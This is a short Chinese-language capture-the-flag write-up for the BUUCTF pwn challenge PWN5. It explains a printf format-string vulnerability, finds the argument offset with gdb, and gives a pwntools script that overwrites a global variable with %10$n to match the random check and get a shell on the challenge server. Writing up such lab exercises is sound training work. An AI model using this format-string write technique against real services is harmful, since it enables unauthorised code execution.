Pwn buuctf题解心得

第五空间2019 决赛]PWN5

 自己输入一个数和随机数作比较，相等即get shell，是一个随机数绕过的题目。

printf(buf),一个很明显的格式化字符串漏洞。详情：CTFer成长日记11：格式化字符串漏洞的原理与利用 - 知乎 (zhihu.com)(文章里面printf函数参数地址比ebp还高就有点奇怪，其他的我觉着挺有用的）

那这里需要修改的就是&dword_804C044的值，现在就是把printf第一个参数，也就是找输入的字符串会保存在哪个位置。

gdb调试一下，输入this is

可以看到刚刚输入的字符串对应两个地址 ，左边的d094存放的是字符串真正的地址，就是d0b8存放着字符串。按道理printf第一个参数应该就是d094了，但是前面还出现了一次这个函数，所以真正的第一个参数地址应该是d090.

下一步我们就要计算出%k$n中k的值，d0b8-d090=40，32位就是40/4=10。这样就是指定修改d0b8的值了。

exp：

from pwn import *

#r=process('./pwn1')
r = remote('node4.buuoj.cn',26381)

r.recvuntil('name:')
payload = p32(0x0804C044) +b'%10$n' 
r.sendline(payload)

r.recvuntil('passwd:')
payload=b'4'
#gdb.attach(r)
r.sendline(payload)
#pause()
r.interactive()

至于为什么是输入4，刚好%n前输入了一个地址就是四个字节的，那么对应d0b8中的地址就会被赋值为4.然后0x0804C044就是&dword_804C044的地址了。

各位大佬如果有发现什么错误，还望指出。